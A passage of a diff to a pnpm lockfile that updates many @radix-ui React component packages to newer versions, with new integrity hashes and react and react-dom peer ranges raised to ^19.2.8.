-    resolution: {integrity: sha512-l3Dmp+qPPc3SqT8+SPnxIgoWBEU2MMBxcQ7BsoRgak2UT75xY83SFvFcrUkUAWukOV3LFF+BQ9aBIFtZsIG8yQ==}
+  '@radix-ui/react-accordion@1.2.20':
+    resolution: {integrity: sha512-jDhG9FvAEnlhnjrsINbNXcUa4G+L1KqSkJSunkbKEzFRcAb52jvM0PjPxPRvhe1HNc5F5yc0yzzWeeqlH4yBIg==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-alert-dialog@1.1.20':
-    resolution: {integrity: sha512-Ft1W+jPqSh5BKfSTe4dpq6UYQKKQJ5Tvq3wfux+WVlg7nPwFK/3pIlHTb3Rbe+b/tNurx8YGXD9em91ujmgwuQ==}
+  '@radix-ui/react-alert-dialog@1.1.23':
+    resolution: {integrity: sha512-VAYOiQRqj3GPpYJE0I9J+X8Ip05cyVlNdKOFeiGS2Ou1HHGfpl0BxOyZm6nmVDyU+W+NF3/XLzmjHmVGydhwgA==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3371,73 +3515,73 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-arrow@1.1.12':
-    resolution: {integrity: sha512-ltXCE0glRomMZ9+u10d9o1Go+edqa1aLxufH59JRNNM3Yz1uvaeNWSaS1HeVh1X64agtdBG5JA1W1I6ySqWiwA==}
+  '@radix-ui/react-arrow@1.1.15':
+    resolution: {integrity: sha512-v4zggRcjadnI+ClKDuijlQEW4tw3NoaeHc/PwpKnLoLLKNUG4InLegkstooLcRIUWCs+8L22dGURCVuFfOKfnA==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-aspect-ratio@1.1.12':
-    resolution: {integrity: sha512-Sok2IBJxA1XO4pU3ldzZMwUBMumIt64EY8zOUlVq5CdS+i0FrEbajVslfDB+YGWLMsrjY2kZQB0DgkrZXLZvcg==}
+  '@radix-ui/react-aspect-ratio@1.1.15':
+    resolution: {integrity: sha512-fy+dyVR+90nelK8rqIznFlxzx7uPcGbhxH8Nfr2bHb4UfSe+e3hklOC0luK0hDwVwnRX7xTRySpsrQVeW+/oNQ==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-avatar@1.2.3':
-    resolution: {integrity: sha512-peavtnApRB1tABx42tHw+rPU83GSg5tXicMYO/Xi1/lqNcRsF6jkr6L7Njo7gj4q/xtDRDKBkqJvbMtoOMYWtA==}
+  '@radix-ui/react-avatar@1.2.6':
+    resolution: {integrity: sha512-4ULOTJ/mqy2hT9GlWa/MFHxHSvH3nJzHnZM1waNsc5Bonv7i70aNenghXmD97S6OJ81ekXONGGt4nT1r0PfEdA==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-checkbox@1.3.8':
-    resolution: {integrity: sha512-wfN60IGuxynWK7rP4Ks2p7u9G7gqirzkAiFptuzVbsR1ot2/K+PavNUAtxiKxyRfLOvSbVfvvm9m3rFqLEXz7A==}
+  '@radix-ui/react-checkbox@1.3.11':
+    resolution: {integrity: sha512-Gnptr9pDDQxD3hgq2dtPbtrp/c2qH1mBwIzw3X/ivrMb2e1t0jMTi606fVEqFPaQR1ggXIVQWKj3P2WW9v7zGQ==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-collapsible@1.1.17':
-    resolution: {integrity: sha512-DJgqGsNXa0df3ifz9PFNgvgj/bzIu5QTVWCt5nQWaUkM6y0EarUv4QG4s6mCoeQdOIyVOT/Q1osFuEGub2TDXQ==}
+  '@radix-ui/react-collapsible@1.1.20':
+    resolution: {integrity: sha512-mcGesGplBnzN2sbvJETzpCNfSMyPnb29q1GRLU+Ib7bJrpIG2ywmRoh2V5VbA2uNvKikKUlVbAPks7JDjz4A8Q==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3449,21 +3593,21 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-collection@1.1.12':
-    resolution: {integrity: sha512-nb67INpE0IahJKN7EYPp9m9YGwYeKlnzxT3MwXVkgCskaSJia97kG4T0ywpjNUSSnoJk/uvk12V8vbrEHEj+/Q==}
+  '@radix-ui/react-collection@1.1.15':
+    resolution: {integrity: sha512-9W+B9NPF0NaaPh/1NJd3+KqsnlLqU9H7T2rvww+fp+T/evVXdNAyYcnfRQZFOjkR1ajQp3yORlqnI8soawLvNA==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3474,7 +3618,7 @@ packages:
     resolution: {integrity: sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3483,18 +3627,27 @@ packages:
     resolution: {integrity: sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
 
-  '@radix-ui/react-context-menu@2.3.4':
-    resolution: {integrity: sha512-eO9tkvHvo4dNwb+lytEcKWjy8c8To+ttLwNt0f9XzzsVFIaspqt3i1/c0JaaksxBB5G//zPo9CCgn39huWQyBA==}
+  '@radix-ui/react-compose-refs@1.1.5':
+    resolution: {integrity: sha512-+48PbAAbq3didjJxa+OaWY2ZwgAKsNiRGyeHKszblZMQ+kcpd9pAaT11cMkGEie0vsOi3QdeTE6d5Fe3Gn61kA==}
+    peerDependencies:
+      '@types/react': '*'
+      react: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+
+  '@radix-ui/react-context-menu@2.3.7':
+    resolution: {integrity: sha512-CtXP35dxaB5T3zXSd+E3uHe/QpXcpYnZmxp6OaIbfthtfW4wyb77M23BG+bwIJDtsMwEP/YssdsmNyZu7jhWew==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3505,16 +3658,7 @@ packages:
     resolution: {integrity: sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
-    peerDependenciesMeta:
-      '@types/react':
-        optional: true
-
-  '@radix-ui/react-context@1.1.3':
-    resolution: {integrity: sha512-ieIFACdMpYfMEjF0rEf5KLvfVyIkOz6PDGyNnP+u+4xQ6jny3VCgA4OgXOwNx2aUkxn8zx9fiVcM8CfFYv9Lxw==}
-    peerDependencies:
-      '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3523,16 +3667,16 @@ packages:
     resolution: {integrity: sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
 
-  '@radix-ui/react-context@1.2.0':
-    resolution: {integrity: sha512-fOE+JtN9rygNZkCnHRBEP0TAvLldlhyOxMsbwFvTP4nAs+nBmfnna+o/Zski2wkmY1YMrFC0aSzsHoLY47iLrg==}
+  '@radix-ui/react-context@1.2.2':
+    resolution: {integrity: sha512-RHCUGwKHDr0hDGg4X7ma4JG4/+12qxw8rkh5QKdDldlCvtja6nUx1Ef/8HVrJze81lEsgLQlqjzjGNHantgnQA==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3542,8 +3686,8 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3555,21 +3699,21 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-dialog@1.1.20':
-    resolution: {integrity: sha512-cngVJcvK0yMvR7wICJpv+1uW3Qw4T7QM5sdbb+oE/lxOdTdvF00oaRpWUjVgmjyXe3J+xh7eZyXZlVF3g2g59g==}
+  '@radix-ui/react-dialog@1.1.23':
+    resolution: {integrity: sha512-Ksw4WeROkO4rC9k/onilX/Ao2Cr1ku1unMNH+XSCcP4jSXYu7HDsg9n4ojMjVb22XpYjAQ9qfrFlVbru1vXDUA==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3580,7 +3724,16 @@ packages:
     resolution: {integrity: sha512-C3vFhbyi4SW3PmbAi6Awpu4OzJtd0MxGurvSsYtr7p7nM8RNB3VAF3CUmnp2j50knpkrRcB7+ycVXzgLgF6yNA==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+
+  '@radix-ui/react-direction@1.1.4':
+    resolution: {integrity: sha512-5pzg4FGQNpExhnhT2zlrP1wZFaYCd1K0nYWoFAdcYoYK868IEigqMX3B3f8yIoRlAhAeDWciLI6ZdCKHF9P4Vg==}
+    peerDependencies:
+      '@types/react': '*'
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3590,8 +3743,8 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3603,34 +3756,34 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-dismissable-layer@1.1.16':
-    resolution: {integrity: sha512-t45h68IjFx0ccBnPJqk0X6ecv69LkCFWd6DNCFQX56mUnVEXZbNOLCH/u9fHlAjFZ1RrFdl8/m4zev7B7NyhXQ==}
+  '@radix-ui/react-dismissable-layer@1.1.19':
+    resolution: {integrity: sha512-8g4pfOL9HoKKLWGiypT+dphVqjFfmcXO5GBnhsG6zI+lxAx/8feQpr+1LSN8Re3hiZ+XkLNS4O9ztK11/LzQ6w==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-dropdown-menu@2.1.21':
-    resolution: {integrity: sha512-gavFM1iWLmWdxWNdGJHVeWeSQul5WE/0pxfvWWt1QnD71hyyujyMCDVacqBomaSOjdxwDzYB+Ng4+MxOvrFB1A==}
+  '@radix-ui/react-dropdown-menu@2.1.24':
+    resolution: {integrity: sha512-geq8l2rJkxvkXsT9RMgtUE3P8pITFpTsvYpbySi1IH4fZEABD/Gp85myayFgxk0ktljGMJnCbeFkyTusvSvv7g==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3641,7 +3794,7 @@ packages:
     resolution: {integrity: sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3650,7 +3803,16 @@ packages:
     resolution: {integrity: sha512-cot/aB/mOm0IYVYTTmQcEEK1M48lZWi8FlYe5nDPQQ8NYZUlXEFgncJ9p2Kzer3RKSrY7cTTpEMLZKNo9QoP5Q==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+
+  '@radix-ui/react-focus-guards@1.1.6':
+    resolution: {integrity: sha512-RNOJjfZMTyBM6xYmV3IVGXkPjIhcBAuv48POevAXwrGJhkWZ9p1rFoIS1JFooPuT193AZmRsCPhpoVJxx6OPoQ==}
+    peerDependencies:
+      '@types/react': '*'
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3660,21 +3822,21 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-focus-scope@1.1.13':
-    resolution: {integrity: sha512-dE04aPEuP9rvKKT0d0KjSOtTEYNg6bmCYFsoSJpfC+y91Hic28ZfDCGgv6aJ+2Kw/LBXYipMZpyqVj/OD3Z8Gg==}
+  '@radix-ui/react-focus-scope@1.1.16':
+    resolution: {integrity: sha512-wmRZ2WWLvmt6KHy2rNPOdPUjwq5xOHY02+m+udwJTn0aNIox/rkskAvJTyTLGhPK6KgrUjlJUJpgmx/+wFiFIQ==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3686,34 +3848,34 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-form@0.1.13':
-    resolution: {integrity: sha512-PopvWqiutoZh5TJXk9EV9Wh+khbp+LQ+A0H4uHocIjVcKIi6gMlBy4sAaW15thwUSc6PrR8J62nB2uM+htqrcg==}
+  '@radix-ui/react-form@0.1.16':
+    resolution: {integrity: sha512-Q4TLEn2A7TAypxwmd6R9EwrlXDvkfYSDMrq9/887AXAGh+G1rH+kYJKSTv+Si9Y0JPKTwKYv6PviAJosysNimA==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-hover-card@1.1.20':
-    resolution: {integrity: sha512-UPmdiR8NsngWjG/y9mClzFg+Rbbpy8u0p0SKM+t7mfH4V07TiLsuylqR0RhJiRibopsawoTtMQudm/TxwHWa9w==}
+  '@radix-ui/react-hover-card@1.1.23':
+    resolution: {integrity: sha512-H8qONfZd3ltrU3+jHCIgITbWo6e1iTKvP9DHdrvYbX48ooRM5FjEDTn16AMwdfuOGkWdZEhpl3PLL/Wk/AnHDQ==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3723,13 +3885,13 @@ packages:
   '@radix-ui/react-icons@1.3.2':
     resolution: {integrity: sha512-fyQIhGDhzfc9pK2kH6Pl9c4BDJGfMkPqkyIgYDthyNYoNg3wVhoJMMh19WS4Up/1KMPFVpNsT2q3WmXn2N1m6g==}
     peerDependencies:
-      react: ^19.2.7
+      react: ^19.2.8
 
   '@radix-ui/react-id@1.1.1':
     resolution: {integrity: sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3738,83 +3900,92 @@ packages:
     resolution: {integrity: sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
 
-  '@radix-ui/react-label@2.1.12':
-    resolution: {integrity: sha512-dxioNQ7VOrYKKWJIxMRmJPDSWQN0gNCUy3zaqUSBwsuFAiFzI0yLGJr2q3ml07k/HlOk55N8KEfwa1ZgfprJ3w==}
+  '@radix-ui/react-id@1.1.4':
+    resolution: {integrity: sha512-TMQp2llA+RYn7JcjnrMnz7wN4pcVttPZnRZo52PLQsoLVKzNlVwUeHmfePgTgRluXFvlD3GD5g5MOVVTJCO0qA==}
+    peerDependencies:
+      '@types/react': '*'
+      react: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+
+  '@radix-ui/react-label@2.1.15':
+    resolution: {integrity: sha512-o/rdYEwZTTo5tjknnPeyQFU45kUC4i/XyeDPP+HGyi6XqpOP6Zf5Ya5vh/Yfe9Id5JiuWnnAx2XqIeD3UYZt0g==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-menu@2.1.21':
-    resolution: {integrity: sha512-2BHtaJHvvoWTECyrja1mOjN6z2dWdpeHL6b8PxqZYgex8J8xakT2KAchpZIaMwNPauIRHH/VlPJYhSSKe8lz2g==}
+  '@radix-ui/react-menu@2.1.24':
+    resolution: {integrity: sha512-uW7RVuU6Lp/ZtfeY4b3kL32zccgEWvPv1+cf17ubYzHa9cL8AHokmk36cG/XEiH/smbQvumnieXX9j/e9RqJWA==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-menubar@1.1.21':
-    resolution: {integrity: sha512-uQONG1qM4D8FSEt0xRs5yDpzeSWggf8lOKqHa84NvqoVoc1qJ6XN+gdkrJuQCyEY55793gLlQI3wjgWO5A/Oqg==}
+  '@radix-ui/react-menubar@1.1.24':
+    resolution: {integrity: sha512-eeVs0vf7cuqXaM0qLQCPcufImiJNVBXdJDLu7ZGYl2732UH23Qat/foNGrr6vYV3/DdTsBqASoggUFgH14OcZA==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-navigation-menu@1.2.19':
-    resolution: {integrity: sha512-58OVQUrpWx/zGVV3lxGUyAtjX4n0305Z8xIdUAq2QlFO2m2hd1eBS4x1yIVtV8bzCQJja0TJttWcwiPI6y6tmw==}
+  '@radix-ui/react-navigation-menu@1.2.22':
+    resolution: {integrity: sha512-ou7iLEJ+yrhQndkkA4U21XIdS/CS45F4iXIkTZcb6/Ne9EMsOuDudVmCwmDnfFZZ+y1FZqXRNSIgBy+YMvZVZg==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-one-time-password-field@0.1.13':
-    resolution: {integrity: sha512-reLtbZtEBsMcqXkjd/wOga4e8t9uxzFHdX9W/j/ZfGznTNJxLGjRrDNGnGOOWcBazMH1BI/b7Cx+hblSWSD7aw==}
+  '@radix-ui/react-one-time-password-field@0.1.16':
+    resolution: {integrity: sha512-Tj9P6ntAJEw52oq/F0AGknXR4XncxEt7XU47O3xJQOiWfLzEy3d9gtgKfvjSzGxzHkfL+VzvxGu2KTFsloJqXw==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-password-toggle-field@0.1.8':
-    resolution: {integrity: sha512-NH9puF7Es5Loh8vFELm+SyayzV27nyBw8kiP/uD9wbkwgq359FfbkKEvccrNk75z0LiSqC4REWk1iL9xdeWJkQ==}
+  '@radix-ui/react-password-toggle-field@0.1.11':
+    resolution: {integrity: sha512-4gvFnmDXu3dgj21CqsufzIameRvlRd4SBqaWhcrlrNhRo0Y5i/49AmRJYe1fdAM3G2VNBbmin4b0D6cdQocwgw==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3826,21 +3997,21 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-popover@1.1.20':
-    resolution: {integrity: sha512-/PYqbsyuDkNj+IxMcRx71qNt6GelnuNulMwdCV7AtFEhUyK6XkbwreEN6CCLydMeTiDozBV4uv5aF5d12dDH7w==}
+  '@radix-ui/react-popover@1.1.23':
+    resolution: {integrity: sha512-mw58MrBlyHWFisTOYignD0vf/3gdcgAR+9of1s9G/38CbFiUwH1nCDkc0AUM9IrXFgN5Ue8n45j9WCgyM1sbiQ==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3852,21 +4023,21 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-popper@1.3.4':
-    resolution: {integrity: sha512-PXnCa3XgTQk0FegMctxgqJXtFLZe4IFJdbUkB7jKSCKEpb6utEO4S9Vog/pkyCfEPdzM331gvE4xpztmBAfMng==}
+  '@radix-ui/react-popper@1.3.7':
+    resolution: {integrity: sha512-UsJrrd7w4wuKKTdvd/DNERVlwSlUcyXzjhyDwBk+3aPOsCjOY6ZSbxuw8E6lZTjjfP8Cpd0J8VVkrYUWyGYXyg==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3878,21 +4049,21 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-portal@1.1.14':
-    resolution: {integrity: sha512-REwjAGPMa3J9oyDE4cuWkZbwnCbbyky66NurquQklXMSDn67cl6oGFx2gO7KZhPtFNbNw9xTWNrti3VIhgluYw==}
+  '@radix-ui/react-portal@1.1.17':
+    resolution: {integrity: sha512-vKQLcWypUnwZVvfV7UkGahH2g6ySe8M8R+zYBwPrv5byZ9QAW6cQVvNKo7GgmD+p8aYb6D9JBuvy8/WhOno2wQ==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3904,8 +4075,21 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+      '@types/react-dom':
+        optional: true
+
+  '@radix-ui/react-presence@1.1.10':
+    resolution: {integrity: sha512-3wyzCQ6+ubRA+D4uv9m95JYLXxmOHp05qjrkjeA7uKHHtjpPggQzc6DAb0URl7j67oR0K2foO4ip27TiX037Bw==}
+    peerDependencies:
+      '@types/react': '*'
+      '@types/react-dom': '*'
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3917,8 +4101,8 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3930,21 +4114,21 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-presence@1.1.8':
-    resolution: {integrity: sha512-0hhyrQdXMaATgq4ammLG9+iPqsXxzZkgTSIxdrJHdfLnXO4Uo5L7BoO3/Xf0AEaettadGZWGGJMw6ujzQvIpGA==}
+  '@radix-ui/react-primitive@2.1.10':
+    resolution: {integrity: sha512-MucOnzh6hR5mid6VpkbglRAMYMjKLqRnGBbjXkzjK52fuQDd1qbkx78a5P40mkcnVXJdEVxm26E9OPAiUq7nBg==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3956,21 +4140,8 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
-    peerDependenciesMeta:
-      '@types/react':
-        optional: true
-      '@types/react-dom':
-        optional: true
-
-  '@radix-ui/react-primitive@2.1.4':
